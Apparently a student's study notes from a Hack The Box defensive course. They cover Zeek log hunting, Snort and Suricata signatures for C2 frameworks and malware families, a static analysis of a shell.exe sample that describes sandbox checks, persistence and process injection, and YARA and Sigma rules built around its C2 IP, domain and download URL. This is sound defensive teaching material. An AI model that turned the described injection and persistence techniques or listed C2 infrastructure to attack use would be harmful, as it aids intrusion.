Example 1: Detecting Beaconing Malware
Beaconing is a repetitive process used by malware to communicate with command and control (C2) servers. This behavior can often be detected by analyzing connection patterns in conn.log, identifying repetitive connections to the same IP, constant data size, or timing patterns. The following command uses Zeek to analyze a beaconing malware sample:
/usr/local/zeek/bin/zeek -C -r /home/htb-student/pcaps/psempire.pcap
cat conn.log
Inspecting conn.log reveals beaconing behavior (connections to 51.15.197.127:80 every 5 seconds) typical of PowerShell Empire.
Example 2: Detecting DNS Exfiltration
DNS exfiltration, which mimics normal traffic, can be identified by analyzing Zeek’s files.log or dns.log for large data transfers or covert channels. dns.log may show unusual domains or subdomain patterns, as seen here:
/usr/local/zeek/bin/zeek -C -r /home/htb-student/pcaps/dnsexfil.pcapng
cat dns.log | /usr/local/zeek/bin/zeek-cut query | cut -d . -f1-7
Frequent subdomains like 456c54f2.blue.letsgohunt.online indicate potential DNS tunneling.
Example 3: Detecting TLS Exfiltration
TLS exfiltration may be detected by looking at high data transfer volumes between specific hosts. The conn.log file can be filtered and aggregated to identify unusual data sizes:
/usr/local/zeek/bin/zeek -C -r /home/htb-student/pcaps/tlsexfil.pcap
cat conn.log | /usr/local/zeek/bin/zeek-cut id.orig_h id.resp_h orig_bytes | \\
sort | grep -v -e '^$' | grep -v '-' | datamash -g 1,2 sum 3 | sort -k 3 -rn | head -10
This shows ~270 MB of data sent to 192.168.151.181.
Example 4: Detecting PsExec Activity
PsExec is commonly used in remote administration and attacks. When transferred over SMB and executed via IPC, smb_files.log, dce_rpc.log, and smb_mapping.log can help identify this activity.
/usr/local/zeek/bin/zeek -C -r /home/htb-student/pcaps/psexec_add_user.pcap
cat smb_files.log
cat dce_rpc.log
cat smb_mapping.log
The logs display the transfer of PSEXESVC.exe and its execution, highlighting PsExec’s typical activity.
Commands and Tools Summary
- Zeek-cut: Extracts specified columns from Zeek logs.
- Sort: Orders log data for easier analysis.
- Grep: Filters log data.
- Datamash: Aggregates data, useful for summing and grouping fields.
Each command aids in refining and focusing the output, making suspicious patterns more apparent. Analyzing logs using tools like Wireshark or Zeek-cut allows detailed inspection of traffic.
Snort Fundamentals
Snort is an open-source tool functioning as an Intrusion Detection System (IDS) and Intrusion Prevention System (IPS). It can also act as a packet logger or sniffer. Snort inspects all network traffic and can log every activity, providing visibility and comprehensive logging at the application layer. Specific rule sets direct Snort on what to inspect and identify.
Snort Operation Modes
Snort operates in several modes:
- Inline IDS/IPS: Enables active traffic blocking in IPS mode.
- Passive IDS: Observes and logs traffic without blocking.
- Network-based IDS: Monitors network traffic from multiple hosts.
- Host-based IDS: Rarely used for Snort; specialized tools are preferable.
DAQ (Data Acquisition):
- Snort uses DAQ modules to interface with network data sources.
- Modes:
- Passive: Observes traffic but doesn’t block it.
- Inline: Blocks traffic in specific scenarios (e.g.,
Qflag withafpacketDAQ).
Snort Architecture
- Packet Sniffer: Decodes network traffic, forwarding packets to Preprocessors.
- Preprocessors: Analyze packet types and behaviors. Configured in
snort.lua, these modules perform tasks such as detecting HTTP traffic or scanning. - Detection Engine: Matches packets against Snort rules.
- Logging and Alerting: Logs matched packets, typically in syslog or databases, managed by Output plugins in
snort.lua.
Snort Configuration
Configuration Files:
snort.lua: Main configuration file for Snort, with sections for network variables, decoders, detection engines, and output configurations.- Default Configurations: Provided by
snort_defaults.lua, this file initializes default configurations.
To view or edit the configuration file:
sudo more /root/snorty/etc/snort/snort.lua
Validating Snort Configuration
To validate configuration:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq
Snort Inputs
Running Snort on PCAP Files
To observe Snort’s behavior with a PCAP file:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -r /path/to/pcapfile.pcap
Running Snort on an Active Network Interface
To actively monitor network traffic:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -i interface_name
Snort Rules
Snort rules consist of headers and options. They can be configured within snort.lua under the ips section:
ips = {
{ variables = default_variables, include = '/path/to/rules/file.rules'}
}
Loading Rules via Command Line
- Single File:
R /path/to/rules/file.rules - Directory of Rules:
-rule-path /path/to/rules
Snort Outputs
Snort provides various output types for alerting and statistics:
- Basic Statistics: Summarizes packet counts, activity counts, file statistics, and runtime performance.
- Alert Outputs:
A cmg: Combines fast alerting with packet headers and payload.A u2: Unified2 binary format, used for post-processing.A csv: CSV format output.
- Performance Statistics: Tracks runtime performance, providing memory and CPU utilization details, helpful for optimizing system performance.
To list available output plugins:
snort --list-plugins | grep logger
Example of -A cmg alert output:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -r /path/to/pcapfile.pcap -A cmg
Snort Key Features
- Deep packet inspection and logging.
- Real-time intrusion detection.
- Network security monitoring.
- Support for IPv4 and IPv6 traffic.
- Anomaly detection and multi-tenant support.
Snort Rule Development
A Snort rule is a powerful tool to identify and flag potential malicious activity in network traffic.
While Snort rules resemble Suricata rules with a structure comprising a rule header and rule options, the Snort documentation provides comprehensive guidance for crafting effective rules. See Snort Documentation and Suricata Rules Differences for further reference.
To explore these rules in practice, SSH into the provided target system to replicate and understand the commands demonstrated in this section.
Example 1: Detecting Ursnif (Inefficiently)
alert tcp any any -> any any (msg:"Possible Ursnif C2 Activity"; flow:established,to_server; content:"/images/", depth 12; content:"_2F"; content:"_2B"; content:"User-Agent|3a 20|Mozilla/4.0 (compatible|3b| MSIE 8.0|3b| Windows NT"; content:!"Accept"; content:!"Cookie|3a|"; content:!"Referer|3a|"; sid:1000002; rev:1;)
This rule detects Ursnif malware by matching specific patterns in HTTP traffic:
flow:established,to_server;matches established TCP connections to the server.content:"/images/", depth 12;looks for/images/within the first 12 bytes.- Additional
contentfields match other patterns, like"_2F","_2B", and specific HTTP headers. !incontent:!"Accept";indicates the absence of certain headers.
Test the rule on ursnif.pcap:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -R /home/htb-student/local.rules -r /home/htb-student/pcaps/ursnif.pcap -A cmg
Example 2: Detecting Cerber
alert udp $HOME_NET any -> $EXTERNAL_NET any (msg:"Possible Cerber Check-in"; dsize:9; content:"hi", depth 2, fast_pattern; pcre:"/^[af0-9]{7}$/R"; detection_filter:track by_src, count 1, seconds 60; sid:2816763; rev:4;)
This rule targets Cerber malware:
dsize:9;restricts the rule to datagrams with a 9-byte payload.content:"hi", depth 2, fast_pattern;searches the first two bytes forhi.pcrechecks for seven hex characters followinghi.detection_filterlimits alert frequency by source.
Run the rule on cerber.pcap:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -R /home/htb-student/local.rules -r /home/htb-student/pcaps/cerber.pcap -A cmg
Example 3: Detecting Patchwork
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"OISF TROJAN Targeted AutoIt FileStealer/Downloader CnC Beacon"; flow:established,to_server; http_method; content:"POST"; http_uri; content:".php?profile="; http_client_body; content:"ddager=", depth 7; http_client_body; content:"&r1=", distance 0; http_header; content:!"Accept"; http_header; content:!"Referer|3a|"; sid:10000006; rev:1;)
This rule detects Patchwork APT malware by matching HTTP patterns:
flow:established,to_server;specifies outbound connections.http_method; content:"POST";requires HTTPPOSTrequests.http_client_bodyandhttp_headerfilter for specific content and missing headers.
Test with patchwork.pcap:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -R /home/htb-student/local.rules -r /home/htb-student/pcaps/patchwork.pcap -A cmg
Example 4: Detecting Patchwork (SSL)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Patchwork SSL Cert Detected"; flow:established,from_server; content:"|55 04 03|"; content:"|08|toigetgf", distance 1, within 9; classtype:trojan-activity; sid:10000008; rev:1;)
This SSL rule detects Patchwork malware through certificate patterns:
content:"|55 04 03|";targets ASN.1 common name fields in X.509 certificates.distanceandwithinfurther refine the search.
Run with patchwork.pcap:
sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -R /home/htb-student/local.rules -r /home/htb-student/pcaps/patchwork.pcap -A cmg
Suricata Fundamentals
Suricata, managed by the Open Information Security Foundation (OISF), is an open-source network security solution ideal for Network Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), and Network Security Monitoring (NSM). It excels in deep packet inspection and offers extensive logging, helping administrators detect and respond to suspicious activities within network traffic.
Suricata Operation Modes
- Intrusion Detection System (IDS): Passively monitors traffic, flags potential threats, and enhances network visibility but does not intervene.
- Intrusion Prevention System (IPS): Acts proactively by blocking suspicious traffic before it enters the network, enhancing security at the cost of added latency.
- Intrusion Detection Prevention System (IDPS): Combines IDS and IPS features, passively monitoring but also capable of sending reset packets (RST) to terminate suspicious sessions.
- Network Security Monitoring (NSM): Purely logs all network data, focusing on capturing every data transaction for forensic and retrospective analysis.
Suricata Inputs
- Offline Input: Processes stored PCAP files, suitable for retrospective analysis and rule testing.
- Live Input:
- LibPCAP: Reads packets from network interfaces; limited in performance.
- NFQ: Linux-only, inline IPS mode leveraging IPTables to pass packets to Suricata for inspection.
- AF_PACKET: Enhanced version of LibPCAP, supporting multi-threading; suitable for live analysis on compatible Linux systems.
Suricata Outputs
Suricata logs various outputs, including alerts, DNS requests, HTTP requests, and network flow data. Key outputs include:
- EVE JSON: Logs events in JSON format for compatibility with tools like Logstash, covering event types such as alerts, DNS, HTTP, and TLS.
- Unified2: Snort-compatible binary alert format, allowing integration with Snort tools like
u2spewfoo.
Example of Viewing EVE JSON
Kailez@htb[/htb]$ less /var/log/suricata/old_eve.json
Configuring Suricata & Custom Rules
- Listing Rule Files: View available rule files.
Kailez@htb[/htb]$ ls -lah /etc/suricata/rules/ - Modifying Suricata Variables: Define
$HOME_NETand$EXTERNAL_NETinsuricata.yamlto represent trusted and untrusted network segments, respectively. - Adding Custom Rules:
- Example rule to alert on HTTP transactions:
alert http any any -> any any (msg:"FILE store all"; filestore; sid:2; rev:1;)
- Example rule to alert on HTTP transactions:
Hands-on with Suricata Inputs
- Offline Analysis:
Kailez@htb[/htb]$ suricata -r /home/htb-student/pcaps/suspicious.pcap - Live Input using AF_PACKET:
Kailez@htb[/htb]$ sudo suricata --af-packet=ens160 - Using
tcpreplayto Simulate Traffic:Kailez@htb[/htb]$ sudo tcpreplay -i ens160 /home/htb-student/pcaps/suspicious.pcap
Suricata Logs
- EVE JSON: A comprehensive JSON format log containing event types like alerts, HTTP, DNS, and TLS metadata.
Kailez@htb[/htb]$ less /var/log/suricata/old_eve.json- To view only alert events:
cat /var/log/suricata/old_eve.json | jq -c 'select(.event_type == "alert")'
- To view only alert events:
- fast.log: Text-based log recording alerts only, useful for quick review.
Kailez@htb[/htb]$ cat /var/log/suricata/old_fast.log - stats.log: Displays statistics and resource usage, useful for performance monitoring.
Kailez@htb[/htb]$ cat /var/log/suricata/old_stats.log
File Extraction
Suricata can extract files transferred over protocols for forensic analysis.
- Enabling File Extraction in
suricata.yaml:file-store: version: 2 enabled: yes force-filestore: yes - Adding a Custom Extraction Rule:
- Example:
alert http any any -> any any (msg:"FILE store all"; filestore; sid:2; rev:1;)
- Example:
- Running Suricata on a PCAP:
Kailez@htb[/htb]$ suricata -r /home/htb-student/pcaps/vm-2.pcap - Inspecting Extracted Files:
Kailez@htb[/htb]$ cd filestore Kailez@htb[/htb]$ find . -type f
Updating and Reloading Rules
- Enable Live Rule Reloading:
```
detect-engine:
- reload: true
- Reload rules:Kailez@htb[/htb]$ sudo kill -usr2 $(pidof suricata) ```
- reload: true
- Updating Rulesets with
suricata-update:Kailez@htb[/htb]$ sudo suricata-update - Listing Available Ruleset Sources:
Kailez@htb[/htb]$ sudo suricata-update list-sources - Enabling Specific Rulesets:
Kailez@htb[/htb]$ sudo suricata-update enable-source et/open
Validating Suricata Configuration
Validate the configuration file to ensure Suricata is correctly set up.
Kailez@htb[/htb]$ sudo suricata -T -c /etc/suricata/suricata.yaml
Key Features of Suricata
- Deep Packet Inspection: Full inspection of packet content and headers.
- Protocol Detection: Supports multiple protocols, providing comprehensive network monitoring.
- Intrusion Detection and Prevention: Versatile modes for both passive and active defense.
- File Extraction: Captures files transferred over certain protocols for forensic analysis.
- Live Rule Reloading: Updates rules without service interruption.
- Extensive Logging: JSON, fast.log, and more, for customizable insights into network traffic.
Suricata’s functionality makes it an effective tool for maintaining network security through vigilant and detailed monitoring of network traffic.
Suricata Rule Development Part 1
Suricata rules are used to monitor network traffic for specific patterns or markers, often indicative of malicious behavior. These rules can provide critical insights into network activity, aid in threat detection, and contribute to proactive network security strategies.
Suricata Rule Anatomy
Here’s an example of a basic Suricata rule:
action protocol from_ip port -> to_ip port (msg:"Known malicious behavior, possible X malware infection"; content:"some thing"; content:"some other thing"; sid:10000001; rev:1;)
Components of the Rule:
- Header (action protocol from_ip port -> to_ip port):
- Action: Tells Suricata what to do when the rule matches:
alert: Generate an alert.log: Log the packet without an alert.drop: Block the packet (IPS mode). - Protocol: Specifies the network protocol (tcp,udp,icmp, etc.). - Traffic Direction:>for outbound,<-for inbound, and<->for bidirectional. - Ports: Define source and destination ports for evaluation.
- Rule Message and Content:
- msg: Description shown when the rule triggers, often including malware info.
- content: Specific strings or values that Suricata searches for in the packet payload.
- Example:
content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; - Content can be optimized with rule buffers, such as
http.acceptfor matching only HTTP Accept headers.
- Additional Options:
- nocase: Makes the rule case-insensitive.
- offset: Sets the starting position in the packet for matching.
- distance: Specifies the byte distance from the previous match.
- dsize: Matches on packet payload size (e.g.,
dsize:>10000for large packets).
- Metadata:
- sid: Signature ID for uniquely identifying each rule.
- rev: Revision number indicating rule updates.
- reference: A URL or identifier providing context or sources for the rule.
Example Rule Usage with PCRE
Perl Compatible Regular Expressions (PCRE) enhance detection flexibility. Here’s an example:
alert http any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Apache Continuum <= v1.4.2 CMD Injection"; content: "POST"; http_method; content: "/continuum/saveInstallation.action"; offset: 0; depth: 34; http_uri; content: "installation.varValue="; nocase; http_client_body; pcre: !"/^\\$?[\\sa-z\\\\_0-9.-]*(\\&|$)/iRP"; flow: to_server, established; sid: 10000048; rev: 1;)
- PCRE: Allows complex pattern matching using regular expressions. It is wrapped in
/.../and can use flags likeifor case insensitivity andRPfor relative positioning.
IDS/IPS Rule Development Approaches
- Signature-Based Detection: Matches known patterns (e.g., malware strings or packet structures). It’s precise for known threats but limited in detecting new ones.
- Anomaly-Based Detection: Focuses on unusual network behaviors (e.g., data transfer patterns). It helps detect zero-day attacks but may yield false positives.
- Stateful Protocol Analysis: Tracks protocol states to identify unusual transitions or behaviors, suitable for identifying protocol misuse.
Suricata Rule Development Examples
Example 1: Detecting PowerShell Empire
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE Possible PowerShell Empire Activity Outbound"; flow:established,to_server; content:"GET"; http_method; content:"/"; http_uri; depth:1; pcre:"/^(?:login\\/process|admin\\/get|news)\\.php$/RU"; content:"session="; http_cookie; pcre:"/^(?:[A-Z0-9+/]{4})*(?:[A-Z0-9+/]{2}==|[A-Z0-9+/]{3}=|[A-Z0-9+/]{4})$/CRi"; content:"Mozilla|2f|5.0|20 28|Windows|20|NT|20|6.1"; http_user_agent; http_start; content:".php|20|HTTP|2f|1.1|0d 0a|Cookie|3a 20|session="; fast_pattern; http_header_names; content:!"Referer"; content:!"Cache"; content:!"Accept"; sid:2027512; rev:1;)
- Detects HTTP GET requests from PowerShell Empire with specific URI patterns and base64-encoded cookies.
- Matches on
User-Agentand excludes headers likeReferer.
Example 2: Detecting Covenant
alert tcp any any -> $HOME_NET any (msg:"detected by body"; content:"<title>Hello World!</title>"; detection_filter: track by_src, count 4 , seconds 10; priority:1; sid:3000011;)
- Triggers on HTTP responses containing
<title>Hello World!</title>at least four times within 10 seconds from the same source.
Example 3: Covenant Detection by Size and Counter
alert tcp $HOME_NET any -> any any (msg:"detected by size and counter"; dsize:312; detection_filter: track by_src, count 3 , seconds 10; priority:1; sid:3000001;)
- Detects payloads of exactly 312 bytes sent at least three times within a 10-second window.
Example 4: Detecting Sliver C2 Implant
alert tcp any any -> any any (msg:"Sliver C2 Implant Detected"; content:"POST"; pcre:"/\\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\\.php)\\?[a-z_]{1,2}=[a-z0-9]{1,10}/i"; sid:1000007; rev:1;)
- Detects HTTP POST requests to URIs associated with Sliver, a C2 framework, using specific directory and PHP file patterns.
Additional Rule for Sliver Detection via Cookies
alert tcp any any -> any any (msg:"Sliver C2 Implant Detected - Cookie"; content:"Set-Cookie"; pcre:"/(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\\=[a-z0-9]{32}\\;/"; sid:1000003; rev:1;)
- Detects cookies set with names like
PHPSESSIDorAPISIDand values matching a 32-character alphanumeric pattern, often associated with Sliver.
For further reference and advanced rule development techniques, explore Suricata’s official rule documentation.
Suricata Rule Development Part 2 (Encrypted Traffic)
Encrypted traffic presents challenges for network security analysis as SSL/TLS encryption hides packet contents. However, there are still identifiable features in encrypted traffic that we can leverage for detection, particularly through SSL/TLS certificates and JA3 fingerprinting.
Key Techniques for Detecting Encrypted Traffic Threats
- SSL/TLS Certificates: During the SSL/TLS handshake, certificates exchange information such as issuer, subject, and domain, which remains unencrypted. Malicious actors may use certificates with unusual characteristics, enabling detection based on these anomalies.
- JA3 Hashing: JA3 hashes provide a unique fingerprint of an SSL/TLS client by hashing specific attributes from the Client Hello message during the handshake. These hashes can help identify unique characteristics associated with certain malware families.
Suricata Rule Examples for Encrypted Traffic Detection
Example 5: Detecting Dridex (TLS Encrypted)
alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)"; flow:established,from_server; content:"|16|"; content:"|0b|"; within:8; byte_test:3,<,1200,0,relative; content:"|03 02 01 02 02 09 00|"; fast_pattern; content:"|30 09 06 03 55 04 06 13 02|"; distance:0; pcre:"/^[A-Z]{2}/R"; content:"|55 04 07|"; distance:0; content:"|55 04 0a|"; distance:0; pcre:"/^.{2}[A-Z][a-z]{3,}\\s(?:[A-Z][a-z]{3,}\\s)?(?:[A-Z](?:[A-Za-z]{0,4}?[A-Z]|(?:\\.[A-Za-z]){1,3})|[A-Z]?[a-z]+|[a-z](?:\\.[A-Za-z]){1,3})\\.?[01]/Rs"; content:"|55 04 03|"; distance:0; byte_test:1,>,13,1,relative; content:!"www."; distance:2; within:4; pcre:"/^.{2}(?P<CN>(?:(?:\\d?[A-Z]?|[A-Z]?\\d?)(?:[a-z]{3,20}|[a-z]{3,6}[0-9_][a-z]{3,6})\\.){0,2}?(?:\\d?[A-Z]?|[A-Z]?\\d?)[a-z]{3,}(?:[0-9_-][a-z]{3,})?\\.(?!com|org|net|tv)[a-z]{2,9})[01].*?(?P=CN)[01]/Rs"; content:!"|2a 86 48 86 f7 0d 01 09 01|"; content:!"GoDaddy"; sid:2023476; rev:5;)
- Purpose: Detects Dridex trojan SSL certificates based on specific patterns within the SSL/TLS handshake.
- Key Options:
- Hex values:
content:"|16|"; content:"|0b|"; within:8;for the handshake and certificate type. - Field identifiers:
countryName(2-letter code) andcommonNamefields are checked. - OIDs: ASN.1 sequences representing
countryName,localityName,organizationName, etc. - PCRE: Checks for patterns in
commonNamewith additional structure matching.
- Hex values:
To test this rule, uncomment it in local.rules and run Suricata on dridex.pcap.
Example 6: Detecting Sliver (TLS Encrypted)
alert tls any any -> any any (msg:"Sliver C2 SSL"; ja3.hash; content:"473cd7cb9faa642487833865d516e578"; sid:1002; rev:1;)
- Purpose: Detects Sliver C2 traffic by matching a known JA3 hash.
- Key Options:
- ja3.hash: Looks for the specific JA3 hash associated with Sliver.
To obtain the JA3 hash, use the ja3 tool on the sliverenc.pcap file. Uncomment this rule in local.rules and run Suricata on sliverenc.pcap to validate detection.
For further information on Suricata’s SSL/TLS detection capabilities, explore additional resources on the Suricata documentation.
Zeek Fundamentals
Zeek is an open-source network traffic analyzer widely used for identifying suspicious or malicious network activity. However, Zeek is also effective for network troubleshooting and measurement. It generates log files that provide detailed insights into all network activities, making it invaluable for cybersecurity teams (blue teams). Logs produced by Zeek include detailed records of connections and application-layer activities, such as DNS queries, HTTP sessions, etc. Additionally, Zeek’s functions support extensive analysis and detection capabilities beyond logging.
Zeek’s standout feature is its powerful scripting language, enabling users to create custom scripts akin to Suricata rules. This language allows blue teams to develop tailored network analysis and intrusion detection strategies.
Rather than relying solely on signature-based detection, Zeek offers semantic misuse detection, anomaly detection, and behavioral analysis.
Zeek’s Operation Modes
Zeek operates in several modes:
- Fully passive traffic analysis
- libpcap interface for packet capture
- Real-time and offline analysis (e.g., PCAP-based)
- Cluster support for large-scale deployments
Zeek’s Architecture
Zeek’s architecture consists of two main components:
- Event Engine (Core):
- Transforms the incoming packet stream into a series of high-level events describing network activity.
- These events are policy-neutral; they describe what happened without interpreting it (e.g., an HTTP request is recorded as an
http_requestevent).
- Script Interpreter:
- Executes event handlers written in Zeek’s scripting language (Zeek scripts), which specify site security policies.
- Events generated by Zeek’s core are processed sequentially.
Zeek events are mainly defined in .bif files located in /scripts/base/bif/plugins/. For a comprehensive event list, refer to Zeek Events Documentation.
Zeek Logs
When running Zeek in offline mode with a PCAP file, logs are saved to the current directory. Common logs include:
- conn.log: Logs details on IP, TCP, UDP, and ICMP connections.
- dns.log: Logs DNS queries and responses.
- http.log: Logs HTTP request and response details.
- ftp.log: Logs FTP requests and responses.
- smtp.log: Logs SMTP transactions, including sender and recipient details.
Example (http.log): Contains data fields like host, uri, referrer, user_agent, and status_code.
For a complete list of Zeek logs and fields, see Zeek Logs Documentation.
Zeek compresses log files hourly using gzip and moves older logs to a date-named directory (YYYY-MM-DD format). To manage these compressed logs, use tools like gzcat (for printing) and zgrep (for searching within logs). Learn more here.
Zeek also provides zeek-cut, a utility for extracting specific columns from Zeek logs, facilitating easier log analysis.
Zeek Key Features
Key features enhancing Zeek’s effectiveness:
- Extensive logging of network activities
- Analysis of application-layer protocols (e.g., HTTP, DNS, FTP, SMTP, SSH, SSL)
- Ability to inspect file contents exchanged over application-layer protocols
- IPv6 support
- Detection and analysis of tunnels
- Sanity checks in protocol analysis
- IDS-like pattern matching
- Powerful scripting language supporting custom analysis tasks and state management
- ASCII log output by default, with options for ElasticSearch and DataSeries
- Real-time integration of external inputs
- C library interface for sharing Zeek events with other programs
- Ability to trigger external processes from within the scripting language
For Zeek examples, scripting basics, and use cases, visit Zeek Examples. For a quick start, check the Zeek Quick Start Guide.
9. Introduction to Malware Analysis
Code Analysis
Reverse Engineering allows analysts to understand a malware’s functionality and behavior by dissecting its compiled machine code. This often involves converting machine code into assembly language and interpreting the operations without executing them.
In code analysis, we aim to:
- Disassemble the code to review structure and logic without triggering any actions.
- Identify key functions and potential Indicators of Compromise (IOCs).
- Explore control flow for critical functions, such as sandbox detection and persistence mechanisms.
Tools for Code Analysis
- Disassemblers - Used for static analysis of machine code (e.g., IDA, Ghidra, Cutter).
- Debuggers - Enable interactive code execution and control (e.g., x32dbg, x64dbg, OllyDbg).
Code Analysis Example: Analyzingshell.exe
The shell.exe malware sample demonstrates various techniques, such as sandbox detection and process injection, which can be decoded via disassembly in IDA.
Importing and Disassemblingshell.exein IDA
- Load shell.exe into IDA:
- Open IDA as an administrator.
- Load the executable and let IDA analyze the binary.
- Navigate Views:
- Graph View: Visualizes function control flow, helping to identify execution paths and relationships.
- Text View: Presents the assembly code line-by-line with memory addresses, useful for detailed instruction review.
Key Analysis Areas
- Identifying Main Function:
- IDA’s start function shows initial setup. Track calls and jumps to find the main function.
- This may include initialization tasks and setup of stack frames.
- Sandbox Detection Techniques:
- The shell.exe sample queries the registry for VMware Tools (indicative of a virtual environment). The RegOpenKeyExA and RegQueryValueExA functions in the disassembly reveal registry-based sandbox detection.
- IDA reveals the function path:
leardx, aSoftwareVmware movrcx,0FFFFFFFF80000002h callcs:RegOpenKeyExA - Possible IOC:
SOFTWARE\\\\VMware, Inc.\\\\VMware Toolsregistry path.
- Timing Mechanisms:
- Calls to GetSystemTimeAsFileTime, GetCurrentProcessId, and QueryPerformanceCounter may indicate timing mechanisms, possibly for sleep delays or checks.
- IDA also displays sleep instructions or delay loops that the malware may use to evade detection.
- Network Connections:
- The shell.exe sample uses getaddrinfo and WSAStartup for internet-related operations. It may check for network connectivity to avoid sandbox restrictions.
- Example IOC: Domain
iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com.
- Persistence Mechanisms:
- The sample writes entries into the Windows registry key
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runfor persistence. - Potential IOC: Registry key path with entry for
svchost.exeunderWindowsUpdater.
- The sample writes entries into the Windows registry key
- Process Injection:
- shell.exe spawns a notepad.exe process, allocating memory within it using VirtualAllocEx, and injects shellcode using WriteProcessMemory followed by CreateRemoteThread.
- Injection functions observed:
call VirtualAllocEx call WriteProcessMemory call CreateRemoteThread
Using IDA’s Function Flow and Xref Graphs
- Generating Function Call Flow Graph:
- IDA can visualize inter-function relationships via View → Graphs → Function calls.
- Function-specific graphs: Right-click in disassembly view, select either Xrefs graph to… or Xrefs graph from… to see specific function calls.
Debugging Strategy forshell.exe
- Setting Breakpoints:
- Place breakpoints on key API calls (e.g., RegOpenKeyExA, VirtualAllocEx).
- Execution Flow Control:
- Step through code execution to observe behavior in real-time, validating suspected sandbox checks or persistence mechanisms.
- Dynamic Analysis Follow-up:
- Debugging after disassembly allows validation of initial findings and confirms IOC behaviors.
Key IOCs Identified
- Registry-Based Sandbox Detection:
SOFTWARE\\VMware, Inc.\\VMware Tools
- Network Connectivity Check:
- Domain:
iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com - IP Address:
45.33.32.156 - Port:
31337
- Domain:
- Persistence Technique:
- Registry Path:
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run - Executable:
svchost.exein TEMP directory.
- Registry Path:
- External Network Resource:
- URL:
http[:]//ms-windows-update[.]com/svchost[.]exe
- URL:
Creating Detection Rules
Detecting malware involves defining rules to identify indicators in files, processes, or logs. Two essential tools for this task are YARA (for file-based detection) and Sigma (for log-based detection in SIEMs). Below is a structured guide to creating detection rules for a malware sample.
YARA Rules
YARA, a rule-based pattern-matching tool, helps create custom rules for detecting specific characteristics within files. Our example uses shell.exe, which exhibited sandbox evasion messages like “Sandbox detected.”
Basic YARA Rule Example
A simple rule to detect the “Sandbox detected” message:
rule Shell_Sandbox_Detection {
strings:
$sandbox_string = "Sandbox detected"
condition:
$sandbox_string
}
Enhanced YARA Rule Creation with yarGen
To generate a more robust rule, we use yarGen, a tool that automates YARA rule creation by extracting unique strings and patterns.
- Set Up Test Directory:
mkdir /home/htb-student/Samples/MalwareAnalysis/Test cp /home/htb-student/Samples/MalwareAnalysis/shell.exe /home/htb-student/Samples/MalwareAnalysis/Test/ - Run yarGen:
cd /home/htb-student/yarGen-0.23.4 sudo python3 yarGen.py -m /home/htb-student/Samples/MalwareAnalysis/Test/ - Generated Rule Example: A file named
yargen_rules.yaris generated, containing unique patterns for shell.exe:rule _home_htb_student_Samples_MalwareAnalysis_Test_shell { meta: description = "Test - file shell.exe" author = "yarGen Rule Generator" date = "2023-08-02" hash1 = "bd841e796feed0088ae670284ab991f212cf709f2391310a85443b2ed1312bda" strings: $x1 = "C:\\\\Windows\\\\System32\\\\cmd.exe" fullword ascii $s2 = "<http://ms-windows-update.com/svchost.exe>" fullword ascii $s3 = "45.33.32.156" fullword ascii $s4 = "[-] Error code is : %lu" fullword ascii $s5 = "Connection sent to C2" fullword ascii $s6 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 60KB and 3 of ($s*) } - Use the Rule for Detection:
yara /home/htb-student/yarGen-0.23.4/yargen_rules.yar /home/htb-student/Samples/MalwareAnalysis/Output should confirm detection if
shell.exeis present in the specified directory.
YARA Resources
- Documentation: YARA Documentation
- Community Rules: InQuest’s Awesome YARA
Sigma Rules
Sigma is a rule format for detecting security threats in SIEM systems. Sigma rules standardize detection across platforms, helping detect malicious patterns or events based on log analysis.
Basic Sigma Rule Example
Below is an example Sigma rule to detect a file named svchost.exe dropped in the Temp folder:
title: Suspicious File Drop in Users Temp Location
status: experimental
description: Detects suspicious activity where a file is dropped in the temp location
logsource:
category: process_creation
detection:
selection:
TargetFilename:
- '*\\\\AppData\\\\Local\\\\Temp\\\\svchost.exe'
condition: selection
level: high
falsepositives:
- Legitimate exe file drops in temp location
Example Detection Rule with Sysmon Logs
Sysmon provides detailed event logging on processes, files, and network connections, which can be used to create more complex Sigma rules. Example rule for process creation in response to shell.exe behavior:
- Sysmon Process Creation Log Rule:
title: Suspicious Process Creation for Registry Modification logsource: category: process_creation product: windows detection: selection: Image: 'C:\\\\Windows\\\\System32\\\\cmd.exe' CommandLine: '*ping 127.0.0.1 -n 5*' condition: selection level: high description: Detects process creation with command line arguments related to sleep or delay commands - Sysmon Network Connection Log Rule:
title: Suspicious Network Connection to C2 IP logsource: category: network_connection product: windows detection: selection: DestinationIp: '45.33.32.156' DestinationPort: 31337 condition: selection level: high description: Detects network connections to a known C2 server IP
Sigma Resources
- Documentation: Sigma Specification
- Community Rules: SigmaHQ Rules
References and Additional Resources
- Yara Documentation: YARA Rules
- Sigma Documentation: Sigma Rules
- DFIR Report: YARA and Sigma Rules by DFIR
Debugging
